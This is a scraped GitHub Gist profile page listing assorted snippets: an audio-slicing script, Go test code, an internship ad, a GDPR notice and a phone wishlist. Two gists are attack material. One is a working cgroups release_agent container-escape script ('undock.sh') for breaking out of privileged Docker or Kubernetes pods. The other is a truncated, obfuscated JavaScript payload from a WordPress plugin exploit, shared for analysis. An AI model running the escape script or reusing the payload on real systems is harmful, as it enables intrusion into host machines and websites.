Skip to content

Instantly share code, notes, and snippets.

View stefan2904's full-sized avatar
🚲
¯\_(ツ)_/¯

Stefan stefan2904

🚲
¯\_(ツ)_/¯
View GitHub Profile
@stefan2904
stefan2904 / audioSlicer.sh
Last active March 25, 2020 21:06
Splitting an audio file into chunks of a specified length
#!/bin/bash
# sudo apt install zenity ffmpeg
error() {
zenity --error --text "Fehler: $1" --title "Fehler" --ellipsize
exit
}
package main
import "fmt"
func testLE() {
teststring1 := "Test1"
var testint1 int64 = 111
a1 := authzModel{
ID: testint1,
IdentifierValue: teststring1,
@stefan2904
stefan2904 / counter.js
Last active August 14, 2019 09:57
Payloads used & served by exploit using vuln in Wordpress' "Yuzo Related Posts" Plugin, see: https://stackoverflow.com/q/55610548/1518225
var _0xcdaa=["","\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x70\x61\x74\x68\x3D\x2F","\x3B","\x73\x70\x6C\x69\x74","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x63\x68\x61\x72\x41\x74","\x20","\x69\x6E\x64\x65\x78\x4F\x66","\x3D\x3B\x20\x4D\x61\x78\x2D\x41\x67\x65\x3D\x2D\x39\x39\x39\x39\x39\x39\x39\x39\x3B"];function gjhwe4234(_0x7f0ex2,_0x7f0ex3,_0x7f0ex4){var _0x7f0ex5=_0xcdaa[0];if(_0x7f0ex4){var _0x7f0ex6= new Date();_0x7f0ex6[_0xcdaa[2]](_0x7f0ex6[_0xcdaa[1]]()+ (_0x7f0ex4* 8* 60* 60* 1000));_0x7f0ex5= _0xcdaa[3]+ _0x7f0ex6[_0xcdaa[4]]()};document[_0xcdaa[5]]= _0x7f0ex2+ _0xcdaa[6]+ (_0x7f0ex3|| _0xcdaa[0])+ _0x7f0ex5+ _0xcdaa[7]}function asdasq3hgvb(_0x7f0ex2){var _0x7f0ex8=_0x7f0ex2+ _0xcdaa[6];var _0x7f0ex9=document[_0xcdaa[5]][_0xcdaa[9]](_0xcdaa[8]);for(var _0x7f0exa=0;_0x7f0exa< _0x7f0ex9[_0xcdaa[10]];_0x7f0exa++){var _0x7f0e

normal list

  • item
  • another item

todo list

  • already done
  • do something
@stefan2904
stefan2904 / undock.sh
Created July 17, 2019 13:48
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature, via https://twitter.com/_fel1x/status/1151487051986087936
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o
echo $t/c >$d/release_agent
echo "#!/bin/sh $1 >$t/o" >/c
chmod +x /c
sh -c "echo 0 >$d/w/cgroup.procs"
sleep 1
@stefan2904
stefan2904 / intern.md
Last active April 9, 2019 12:41
Ferialpraktikum/Summer Internship at IAIK 2019

Summer Internship at IAIK

IAIK still has opportunities for students within our Internship Program
during the summer break (July, August, September) 2019.

Our focus is directed towards IT security. Within this context we work
on cryptography, hardware & software implementations of crypto
algorithms, e-Government research, trusted computing, and network
security. Please, visit [our research pages] for more information.

@stefan2904
stefan2904 / HTTP_debugging_tools.md
Last active November 5, 2018 19:02 — forked from robertzx/HTTP_debugging_tools.md
HTTP Debuggin Tools
@stefan2904
stefan2904 / gdpr.md
Created May 30, 2018 13:53
GDPR mailinglist infomail - suggestions

Addressing the elephant in the room ...

Dear Community,

since May 25th 2018 the new European – General Data Protection Regulation is in order. As a subscriber of our CryptoParty Graz mailinglist you receive information regarding our activities and related information. For this reason only, we have saved your name and your email-adress - and for this reason only. We treat your data confidentially and with all due diligence and do not refer them to a third party.

If you no longer wish to receive this newsletter and want to have your data deleted, simply click here to unsubscribe.

@stefan2904
stefan2904 / phone.md
Last active April 18, 2018 13:27
new phone? (April 2018)

Requirements:

  • not too expensive (it's a phone ...)
  • modern phone (no need to buy a new one in <= 2 years)
  • most used features: communication (mail, chat/im), organizing (calendar, todos), navigation (map/gps), podcast, camera (mostly pictures), sometimes reading, ...
  • less used features: gaming, voip, video calls, coding/editing files, ssh, etc
  • no spyware etc
  • legit manufacturer
  • lineage os support or stock android
  • security updates